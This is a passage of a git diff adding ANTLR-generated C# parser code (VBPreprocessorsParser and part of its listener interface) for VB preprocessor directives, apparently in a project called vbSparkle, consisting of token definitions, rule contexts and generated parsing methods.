VBPreprocessorsParser.LtDateContext context); + /// + /// Exit a parse tree produced by the ltDate + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtDate([NotNull] VBPreprocessorsParser.LtDateContext context); + /// + /// Enter a parse tree produced by the ltString + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtString([NotNull] VBPreprocessorsParser.LtStringContext context); + /// + /// Exit a parse tree produced by the ltString + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtString([NotNull] VBPreprocessorsParser.LtStringContext context); + /// + /// Enter a parse tree produced by the ltDouble + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtDouble([NotNull] VBPreprocessorsParser.LtDoubleContext context); + /// + /// Exit a parse tree produced by the ltDouble + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtDouble([NotNull] VBPreprocessorsParser.LtDoubleContext context); + /// + /// Enter a parse tree produced by the ltDelimited + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtDelimited([NotNull] VBPreprocessorsParser.LtDelimitedContext context); + /// + /// Exit a parse tree produced by the ltDelimited + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtDelimited([NotNull] VBPreprocessorsParser.LtDelimitedContext context); + /// + /// Enter a parse tree produced by the ltInteger + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtInteger([NotNull] VBPreprocessorsParser.LtIntegerContext context); + /// + /// Exit a parse tree produced by the ltInteger + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtInteger([NotNull] VBPreprocessorsParser.LtIntegerContext context); + /// + /// Enter a parse tree produced by the ltBoolean + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtBoolean([NotNull] VBPreprocessorsParser.LtBooleanContext context); + /// + /// Exit a parse tree produced by the ltBoolean + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtBoolean([NotNull] VBPreprocessorsParser.LtBooleanContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAnytoken([NotNull] VBPreprocessorsParser.AnytokenContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAnytoken([NotNull] VBPreprocessorsParser.AnytokenContext context); +} diff --git a/Sources/vbSparkle/VBPreprocessorsParser.cs b/Sources/vbSparkle/VBPreprocessorsParser.cs new file mode 100644 index 0000000..b10dc48 --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessorsParser.cs @@ -0,0 +1,4417 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBPreprocessors.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + +using System; +using System.IO; +using System.Text; +using System.Diagnostics; +using System.Collections.Generic; +using Antlr4.Runtime; +using Antlr4.Runtime.Atn; +using Antlr4.Runtime.Misc; +using Antlr4.Runtime.Tree; +using DFA = Antlr4.Runtime.Dfa.DFA; + +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.CLSCompliant(false)] +public partial class VBPreprocessorsParser : Parser { + protected static DFA[] decisionToDFA; + protected static PredictionContextCache sharedContextCache = new PredictionContextCache(); + public const int + MACRO_CONST=1, AND=2, ATTRIBUTE=3, BEGIN=4, BEGINPROPERTY=5, CLASS=6, + CONST=7, ELSE=8, ELSEIF=9, END_IF=10, END=11, ENDPROPERTY=12, EQV=13, + FALSE=14, IF=15, IMP=16, IS=17, LIKE=18, MACRO_IF=19, MACRO_ELSEIF=20, + MACRO_ELSE=21, MACRO_END_IF=22, MOD=23, NOT=24, NOTHING=25, NULL=26, OBJECT=27, + OR=28, THEN=29, TRUE=30, VERSION=31, XOR=32, AMPERSAND=33, AT=34, COMMA=35, + DIV=36, DOT=37, EQ=38, EXCLAMATIONMARK=39, GEQ=40, GT=41, HASH=42, LEQ=43, + LBRACE=44, LPAREN=45, LT=46, MINUS=47, MULT=48, NEQ=49, PLUS=50, POW=51, + RBRACE=52, RPAREN=53, SEMICOLON=54, L_SQUARE_BRACKET=55, R_SQUARE_BRACKET=56, + STRINGLITERAL=57, DATELITERAL=58, HEXLITERAL=59, INTEGERLITERAL=60, DOUBLELITERAL=61, + FILENUMBER=62, OCTALLITERAL=63, GUID=64, NEWLINE=65, IDENTIFIER=66, COMMENT=67, + LINE_CONTINUATION=68, WS=69, ANYCHAR=70, REM=71, LABEL_L=72; + public const int + RULE_startRule = 0, RULE_macroConst = 1, RULE_codeBlock = 2, RULE_codeBlockBody = 3, + RULE_nonMacroCodeBlockX = 4, RULE_moduleInfo = 5, RULE_moduleReferences = 6, + RULE_moduleReference = 7, RULE_moduleReferenceValue = 8, RULE_moduleReferenceComponent = 9, + RULE_moduleHeader = 10, RULE_moduleConfig = 11, RULE_moduleConfigElement = 12, + RULE_ambiguousIdentifier = 13, RULE_moduleAttributes = 14, RULE_macroIfThenElseStmt = 15, + RULE_macroIfBlockCondStmt = 16, RULE_macroIfBlockStmt = 17, RULE_macroElseIfBlockStmt = 18, + RULE_macroElseBlockStmt = 19, RULE_commentBlock = 20, RULE_lineLabel = 21, + RULE_nonMacroCodeBlockLine = 22, RULE_nonMacroCodeStmt = 23, RULE_controlProperties = 24, + RULE_cp_Properties = 25, RULE_cp_NestedProperty = 26, RULE_cp_ControlType = 27, + RULE_complexType = 28, RULE_cp_ControlIdentifier = 29, RULE_attributeStmt = 30, + RULE_ifConditionStmt = 31, RULE_valueStmt = 32, RULE_delimitedLiteral = 33, + RULE_literal = 34, RULE_anytoken = 35; + public static readonly string[] ruleNames = { + "startRule", "macroConst", "codeBlock", "codeBlockBody", "nonMacroCodeBlockX", + "moduleInfo", "moduleReferences", "moduleReference", "moduleReferenceValue", + "moduleReferenceComponent", "moduleHeader", "moduleConfig", "moduleConfigElement", + "ambiguousIdentifier", "moduleAttributes", "macroIfThenElseStmt", "macroIfBlockCondStmt", + "macroIfBlockStmt", "macroElseIfBlockStmt", "macroElseBlockStmt", "commentBlock", + "lineLabel", "nonMacroCodeBlockLine", "nonMacroCodeStmt", "controlProperties", + "cp_Properties", "cp_NestedProperty", "cp_ControlType", "complexType", + "cp_ControlIdentifier", "attributeStmt", "ifConditionStmt", "valueStmt", + "delimitedLiteral", "literal", "anytoken" + }; + + private static readonly string[] _LiteralNames = { + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, "'&'", "'@'", "','", + null, "'.'", "'='", "'!'", "'>='", "'>'", "'#'", "'<='", "'{'", "'('", + "'<'", "'-'", "'*'", "'<>'", "'+'", "'^'", "'}'", "')'", "';'", "'['", + "']'" + }; + private static readonly string[] _SymbolicNames = { + null, "MACRO_CONST", "AND", "ATTRIBUTE", "BEGIN", "BEGINPROPERTY", "CLASS", + "CONST", "ELSE", "ELSEIF", "END_IF", "END", "ENDPROPERTY", "EQV", "FALSE", + "IF", "IMP", "IS", "LIKE", "MACRO_IF", "MACRO_ELSEIF", "MACRO_ELSE", "MACRO_END_IF", + "MOD", "NOT", "NOTHING", "NULL", "OBJECT", "OR", "THEN", "TRUE", "VERSION", + "XOR", "AMPERSAND", "AT", "COMMA", "DIV", "DOT", "EQ", "EXCLAMATIONMARK", + "GEQ", "GT", "HASH", "LEQ", "LBRACE", "LPAREN", "LT", "MINUS", "MULT", + "NEQ", "PLUS", "POW", "RBRACE", "RPAREN", "SEMICOLON", "L_SQUARE_BRACKET", + "R_SQUARE_BRACKET", "STRINGLITERAL", "DATELITERAL", "HEXLITERAL", "INTEGERLITERAL", + "DOUBLELITERAL", "FILENUMBER", "OCTALLITERAL", "GUID", "NEWLINE", "IDENTIFIER", + "COMMENT", "LINE_CONTINUATION", "WS", "ANYCHAR", "REM", "LABEL_L" + }; + public static readonly IVocabulary DefaultVocabulary = new Vocabulary(_LiteralNames, _SymbolicNames); + + [NotNull] + public override IVocabulary Vocabulary + { + get + { + return DefaultVocabulary; + } + } + + public override string GrammarFileName { get { return "VBPreprocessors.g4"; } } + + public override string[] RuleNames { get { return ruleNames; } } + + public override int[] SerializedAtn { get { return _serializedATN; } } + + static VBPreprocessorsParser() { + decisionToDFA = new DFA[_ATN.NumberOfDecisions]; + for (int i = 0; i < _ATN.NumberOfDecisions; i++) { + decisionToDFA[i] = new DFA(_ATN.GetDecisionState(i), i); + } + } + + public VBPreprocessorsParser(ITokenStream input) : this(input, Console.Out, Console.Error) { } + + public VBPreprocessorsParser(ITokenStream input, TextWriter output, TextWriter errorOutput) + : base(input, output, errorOutput) + { + Interpreter = new ParserATNSimulator(this, _ATN, decisionToDFA, sharedContextCache); + } + + public partial class StartRuleContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext[] codeBlock() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext codeBlock(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode Eof() { return GetToken(VBPreprocessorsParser.Eof, 0); } + public StartRuleContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_startRule; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterStartRule(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitStartRule(this); + } + } + + [RuleVersion(0)] + public StartRuleContext startRule() { + StartRuleContext _localctx = new StartRuleContext(Context, State); + EnterRule(_localctx, 0, RULE_startRule); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 75; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==NEWLINE) { + { + { + State = 72; + Match(NEWLINE); + } + } + State = 77; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 81; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while ((((_la) & ~0x3f) == 0 && ((1L << _la) & -7340034L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & 509L) != 0)) { + { + { + State = 78; + codeBlock(); + } + } + State = 83; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 85; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,2,Context) ) { + case 1: + { + State = 84; + Match(Eof); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroConstContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_CONST() { return GetToken(VBPreprocessorsParser.MACRO_CONST, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IDENTIFIER() { return GetToken(VBPreprocessorsParser.IDENTIFIER, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBPreprocessorsParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + public MacroConstContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroConst; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterMacroConst(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitMacroConst(this); + } + } + + [RuleVersion(0)] + public MacroConstContext macroConst() { + MacroConstContext _localctx = new MacroConstContext(Context, State); + EnterRule(_localctx, 2, RULE_macroConst); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 87; + Match(MACRO_CONST); + State = 88; + Match(IDENTIFIER); + State = 90; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 89; + Match(WS); + } + } + + State = 92; + Match(EQ); + State = 94; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 93; + Match(WS); + } + } + + State = 96; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class CodeBlockContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockBodyContext codeBlockBody() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode Eof() { return GetToken(VBPreprocessorsParser.Eof, 0); } + [System.Diagnostics.DebuggerNonUserCode] public LineLabelContext[] lineLabel() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public LineLabelContext lineLabel(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext commentBlock() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + public CodeBlockContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_codeBlock; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterCodeBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitCodeBlock(this); + } + } + + [RuleVersion(0)] + public CodeBlockContext codeBlock() { + CodeBlockContext _localctx = new CodeBlockContext(Context, State); + EnterRule(_localctx, 4, RULE_codeBlock); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 101; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,5,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 98; + lineLabel(); + } + } + } + State = 103; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,5,Context); + } + State = 104; + codeBlockBody(); + State = 106; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==COMMENT) { + { + State = 105; + commentBlock(); + } + } + + State = 114; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case NEWLINE: + { + State = 109; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 108; + Match(NEWLINE); + } + } + State = 111; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + break; + case Eof: + { + State = 113; + Match(Eof); + } + break; + default: + throw new NoViableAltException(this); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class CodeBlockBodyContext : ParserRuleContext { + public CodeBlockBodyContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_codeBlockBody; } } + + public CodeBlockBodyContext() { } + public virtual void CopyFrom(CodeBlockBodyContext context) { + base.CopyFrom(context); + } + } + public partial class VcommentBlockContext : CodeBlockBodyContext { + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext commentBlock() { + return GetRuleContext(0); + } + public VcommentBlockContext(CodeBlockBodyContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVcommentBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVcommentBlock(this); + } + } + public partial class VmacroIfContext : CodeBlockBodyContext { + [System.Diagnostics.DebuggerNonUserCode] public MacroIfThenElseStmtContext macroIfThenElseStmt() { + return GetRuleContext(0); + } + public VmacroIfContext(CodeBlockBodyContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVmacroIf(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVmacroIf(this); + } + } + public partial class VcodeBlockContext : CodeBlockBodyContext { + [System.Diagnostics.DebuggerNonUserCode] public NonMacroCodeBlockXContext nonMacroCodeBlockX() { + return GetRuleContext(0); + } + public VcodeBlockContext(CodeBlockBodyContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVcodeBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVcodeBlock(this); + } + } + public partial class VmacroConstContext : CodeBlockBodyContext { + [System.Diagnostics.DebuggerNonUserCode] public MacroConstContext macroConst() { + return GetRuleContext(0); + } + public VmacroConstContext(CodeBlockBodyContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVmacroConst(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVmacroConst(this); + } + } + public partial class VlineLabelContext : CodeBlockBodyContext { + [System.Diagnostics.DebuggerNonUserCode] public LineLabelContext lineLabel() { + return GetRuleContext(0); + } + public VlineLabelContext(CodeBlockBodyContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVlineLabel(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVlineLabel(this); + } + } + + [RuleVersion(0)] + public CodeBlockBodyContext codeBlockBody() { + CodeBlockBodyContext _localctx = new CodeBlockBodyContext(Context, State); + EnterRule(_localctx, 6, RULE_codeBlockBody); + try { + State = 121; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,9,Context) ) { + case 1: + _localctx = new VmacroIfContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 116; + macroIfThenElseStmt(); + } + break; + case 2: + _localctx = new VmacroConstContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 117; + macroConst(); + } + break; + case 3: + _localctx = new VcommentBlockContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 118; + commentBlock(); + } + break; + case 4: + _localctx = new VcodeBlockContext(_localctx); + EnterOuterAlt(_localctx, 4); + { + State = 119; + nonMacroCodeBlockX(); + } + break; + case 5: + _localctx = new VlineLabelContext(_localctx); + EnterOuterAlt(_localctx, 5); + { + State = 120; + lineLabel(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class NonMacroCodeBlockXContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public NonMacroCodeBlockLineContext[] nonMacroCodeBlockLine() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public NonMacroCodeBlockLineContext nonMacroCodeBlockLine(int i) { + return GetRuleContext(i); + } + public NonMacroCodeBlockXContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_nonMacroCodeBlockX; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterNonMacroCodeBlockX(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitNonMacroCodeBlockX(this); + } + } + + [RuleVersion(0)] + public NonMacroCodeBlockXContext nonMacroCodeBlockX() { + NonMacroCodeBlockXContext _localctx = new NonMacroCodeBlockXContext(Context, State); + EnterRule(_localctx, 8, RULE_nonMacroCodeBlockX); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 124; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 123; + nonMacroCodeBlockLine(); + } + } + State = 126; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( (((_la) & ~0x3f) == 0 && ((1L << _la) & -7864324L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & 501L) != 0) ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleInfoContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferencesContext moduleReferences() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ControlPropertiesContext controlProperties() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleConfigContext moduleConfig() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleAttributesContext moduleAttributes() { + return GetRuleContext(0); + } + public ModuleInfoContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleInfo; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleInfo(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleInfo(this); + } + } + + [RuleVersion(0)] + public ModuleInfoContext moduleInfo() { + ModuleInfoContext _localctx = new ModuleInfoContext(Context, State); + EnterRule(_localctx, 10, RULE_moduleInfo); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 129; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==OBJECT) { + { + State = 128; + moduleReferences(); + } + } + + State = 134; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,12,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 131; + Match(NEWLINE); + } + } + } + State = 136; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,12,Context); + } + State = 138; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,13,Context) ) { + case 1: + { + State = 137; + controlProperties(); + } + break; + } + State = 143; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,14,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 140; + Match(NEWLINE); + } + } + } + State = 145; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,14,Context); + } + State = 147; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==BEGIN) { + { + State = 146; + moduleConfig(); + } + } + + State = 152; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,16,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 149; + Match(NEWLINE); + } + } + } + State = 154; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,16,Context); + } + State = 156; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==ATTRIBUTE) { + { + State = 155; + moduleAttributes(); + } + } + + State = 161; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==NEWLINE) { + { + { + State = 158; + Match(NEWLINE); + } + } + State = 163; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferencesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceContext[] moduleReference() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceContext moduleReference(int i) { + return GetRuleContext(i); + } + public ModuleReferencesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReferences; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleReferences(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleReferences(this); + } + } + + [RuleVersion(0)] + public ModuleReferencesContext moduleReferences() { + ModuleReferencesContext _localctx = new ModuleReferencesContext(Context, State); + EnterRule(_localctx, 12, RULE_moduleReferences); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 165; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 164; + moduleReference(); + } + } + State = 167; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==OBJECT ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferenceContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OBJECT() { return GetToken(VBPreprocessorsParser.OBJECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBPreprocessorsParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceValueContext moduleReferenceValue() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SEMICOLON() { return GetToken(VBPreprocessorsParser.SEMICOLON, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceComponentContext moduleReferenceComponent() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + public ModuleReferenceContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReference; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleReference(this); + } + 